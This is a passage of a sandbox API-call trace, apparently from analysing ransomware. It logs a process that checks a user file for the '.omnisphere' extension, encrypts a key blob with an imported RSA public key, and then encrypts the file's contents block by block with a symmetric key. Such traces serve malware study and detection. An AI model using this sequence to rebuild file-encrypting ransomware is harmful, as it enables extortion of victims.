pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3" [0062.993] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0062.994] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\aar4wxwobwm8v j.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.994] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=77608) returned 1 [0062.994] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x12a04, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.994] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0062.994] GetTickCount () returned 0x1150106 [0062.994] GetTickCount () returned 0x1150106 [0062.994] GetTickCount () returned 0x1150106 [0062.994] GetTickCount () returned 0x1150106 [0062.994] GetTickCount () returned 0x1150106 [0062.994] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.995] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] GetTickCount () returned 0x1150106 [0062.996] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bca0) returned 1 [0062.997] CryptImportKey (in: hProv=0x163bca0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396a8) returned 1 [0062.997] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0062.997] CryptDestroyKey (hKey=0x16396a8) returned 1 [0062.997] CryptReleaseContext (hProv=0x163bca0, dwFlags=0x0) returned 1 [0062.997] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12f28, lpName=0x0) returned 0x3a4 [0062.997] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12f28) returned 0x3450000 [0062.998] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163be38) returned 1 [0062.998] CryptImportKey (in: hProv=0x163be38, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639b68) returned 1 [0062.998] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.999] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.000] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.001] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.002] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.045] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.046] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.047] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 